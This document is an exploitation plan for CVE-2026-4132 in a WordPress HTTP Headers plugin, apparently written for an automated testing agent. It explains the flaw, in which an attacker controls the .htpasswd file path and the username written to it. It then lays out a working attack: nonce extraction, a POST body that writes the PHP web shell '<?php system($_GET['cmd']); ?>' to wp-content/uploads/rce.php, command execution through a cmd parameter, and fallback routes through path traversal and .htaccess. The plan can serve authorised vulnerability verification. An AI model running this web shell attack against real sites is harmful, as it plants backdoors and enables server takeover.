Exploitation Research Plan - CVE-2026-4132

1. Vulnerability Summary

The HTTP Headers plugin (<= 1.19.2) contains a critical vulnerability allowing authenticated administrators to achieve Remote Code Execution (RCE). The vulnerability arises from two main flaws:

1. Arbitrary File Path Control: The plugin allows users to specify the path for an .htpasswd file via the hh_htpasswd_path option without validating the file extension or location.
2. Lack of Input Sanitization: The username field (hh_www_authenticate_user) used for HTTP Basic Authentication is not sanitized.

The plugin's apache_auth_credentials() function constructs the file content using sprintf('%s:{SHA}%s', $user, ...) and update_auth_credentials() writes this content to the path specified in hh_htpasswd_path using file_put_contents(). By setting the path to a .php file and the username to PHP code, an administrator can create a web shell.

2. Attack Vector Analysis

• Endpoint: WordPress Admin Dashboard, specifically the plugin's settings page (likely wp-admin/admin.php?page=http-headers-security or similar).
• Vulnerable Parameters:
  • hh_htpasswd_path: Controls the destination file path.
  • hh_www_authenticate_user: Carries the PHP payload.
• Authentication Level: Administrator or higher (users with manage_options capability).
• Preconditions: The "Security" or "Authentication" module of the plugin must be active or accessible for configuration.

3. Code Flow (Inferred from Description)

1. Entry Point: The administrator submits a form on the HTTP Headers settings page.
2. Option Update: The plugin saves the hh_htpasswd_path option to the database.
3. Credential Generation: The apache_auth_credentials($user, $pass) function is called.
   • It takes the unsanitized $user (hh_www_authenticate_user).
   • It formats the string: sprintf('%s:{SHA}%s', $user, base64_encode(sha1($pass, true))).
4. File Write: The update_auth_credentials() function is called.
   • It retrieves the path from get_option('hh_htpasswd_path').
   • It calls file_put_contents($path, $formatted_content).
5. Execution: Since the $path can be a .php file within the webroot and $formatted_content starts with the unsanitized $user, the PHP code is executed when the file is requested via HTTP.

4. Nonce Acquisition Strategy

The plugin's settings page is protected by standard WordPress nonces.

1. Identify Page: The settings for Basic Auth are likely under wp-admin/admin.php?page=http-headers.
2. Navigation: The agent will use browser_navigate to reach the settings page.
3. Extraction: The agent will use browser_eval to extract the _wpnonce field from the settings form.
   • Inferred Selector: document.querySelector('input[name="_wpnonce"]')?.value or document.querySelector('#http-headers-settings-form input[name="_wpnonce"]')?.value.

5. Exploitation Strategy

The goal is to write a PHP shell to the WordPress uploads directory or the plugin directory.

Step 1: Discover Settings Page and Nonce

• Navigate to /wp-admin/admin.php?page=http-headers.
• Locate the section for "Security" or "Authentication".
• Capture the current _wpnonce and the form submission URL (likely options.php or the current page).

Step 2: Configure Path and Inject Payload

Submit a POST request to update the plugin options.

• Payload Path: /var/www/html/wp-content/uploads/rce.php (Adjust based on ABSPATH).
• Payload Username: <?php system($_GET['cmd']); ?>
• Request Method: POST
• URL: https://[TARGET]/wp-admin/options.php (if using Settings API) or the plugin's admin page.
• Body Parameters (Inferred):

  option_page=http_headers_settings
  &action=update
  &_wpnonce=[NONCE]
  &hh_htpasswd_path=/var/www/html/wp-content/uploads/rce.php
  &hh_www_authenticate_user=<?php system($_GET['cmd']); ?>
  &hh_www_authenticate_password=password123
  

Step 3: Trigger the Write

Depending on the plugin logic, the write might happen immediately on save or require a separate "Add User" action. If update_auth_credentials() is called during the settings save, Step 2 is sufficient.

Step 4: Execute Commands

• URL: https://[TARGET]/wp-content/uploads/rce.php?cmd=id
• Expected Response: Output of the id command (e.g., uid=33(www-data)...).

6. Test Data Setup

1. Install the HTTP Headers plugin version 1.19.2.
2. Log in as a user with the Administrator role.
3. Navigate to the plugin settings to ensure the "Security" tab/features are initialized.

7. Expected Results

• The plugin accepts the absolute path to a .php file in hh_htpasswd_path.
• The plugin accepts a PHP tag in the hh_www_authenticate_user field.
• The file wp-content/uploads/rce.php is created.
• Accessing the file with a cmd parameter executes system commands.

8. Verification Steps

1. Check File Existence: Use WP-CLI: wp eval "echo file_exists(ABSPATH . 'wp-content/uploads/rce.php') ? 'exists' : 'missing';"
2. Verify Content: wp eval "echo file_get_contents(ABSPATH . 'wp-content/uploads/rce.php');"
3. Confirm Execution: Request the file via http_request and check for system output.

9. Alternative Approaches

• Option Page Direct Update: If the plugin doesn't use a custom handler, try updating the options directly via /wp-admin/options.php if the option group is known.
• Directory Traversal: If absolute paths are blocked (unlikely based on description), try relative paths: ../../uploads/rce.php.
• Other Hooks: Check if hh_htpasswd_path can be set to .htaccess to modify server configuration for RCE (e.g., adding a php_value auto_prepend_file).
• Check apache_auth_credentials triggers: If the file isn't written on save, look for an "Update Password" or "Add User" button that might trigger the file_put_contents sink.